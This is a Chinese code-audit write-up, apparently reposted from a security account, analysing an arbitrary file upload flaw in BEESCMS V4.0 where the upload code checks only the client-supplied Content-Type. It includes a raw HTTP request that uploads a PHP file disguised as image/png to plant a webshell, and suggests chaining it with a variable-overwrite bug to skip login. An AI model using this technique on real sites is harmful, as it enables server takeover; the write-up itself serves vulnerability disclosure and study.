【代码审计】 beescms 任意文件上传漏洞分析

  • A+
所属分类:代码审计

一、漏洞描述:

上传文件的代码过滤不严,仅仅对content-type进行验证,所以造成了任意文件上传漏洞




二、漏洞分析过程:

定位到上传代码:/admin/upload.php

这里获取表单提交的内容,然后交给up_img()函数处理:

【代码审计】 beescms 任意文件上传漏洞分析


跟进up_img()函数:/admin/fun.php

这里仅仅对content-type进行了验证,没有其他的过滤了,传入的类型数组为常见的图片content-type:

【代码审计】 beescms 任意文件上传漏洞分析


然后拼接完整的文件路径、文件名,直接用move_uploaded_file()函数进行上传了:

【代码审计】 beescms 任意文件上传漏洞分析

因为content-type是来自客户端的,所以我们用burp改包就可以上传任意文件Getshell了。由于此文件上传功能是后台的,需要登陆,但是可以配合前面的变量覆盖漏洞进行完整的配合利用。





三、漏洞利用:

1、访问上传页面:


http://www.beescms.test/admin/upload.php

【代码审计】 beescms 任意文件上传漏洞分析


2、点击上传后,抓包,将conetnt-type改成允许的类型:

【代码审计】 beescms 任意文件上传漏洞分析


数据包如下:


POST /admin/upload.php HTTP/1.1Host: www.beescms.testUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://www.beescms.test/admin/upload.phpCookie: PHPSESSID=andul3quevuqpg01gfl1nl3i77;user=1Connection: closeContent-Type: multipart/form-data; boundary=---------------------------14100825332592Content-Length: 616
-----------------------------14100825332592Content-Disposition: form-data; name="get"

-----------------------------14100825332592Content-Disposition: form-data; name="up"; filename="_inc.php"Content-Type: image/png

-----------------------------14100825332592Content-Disposition: form-data; name="thumb_width"
300-----------------------------14100825332592Content-Disposition: form-data; name="thumb_height"
200-----------------------------14100825332592Content-Disposition: form-data; name="submit"
ä¸Šä¼ -----------------------------14100825332592--



3、访问上传的webshell:


http://www.beescms.test/upload/img/xxx.php


成功执行:

【代码审计】 beescms 任意文件上传漏洞分析



测试的CMS详细版本为:BEES_V4.0_R_20160525



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

【代码审计】 beescms 任意文件上传漏洞分析


本文始发于微信公众号(哈拉少安全小队):【代码审计】 beescms 任意文件上传漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: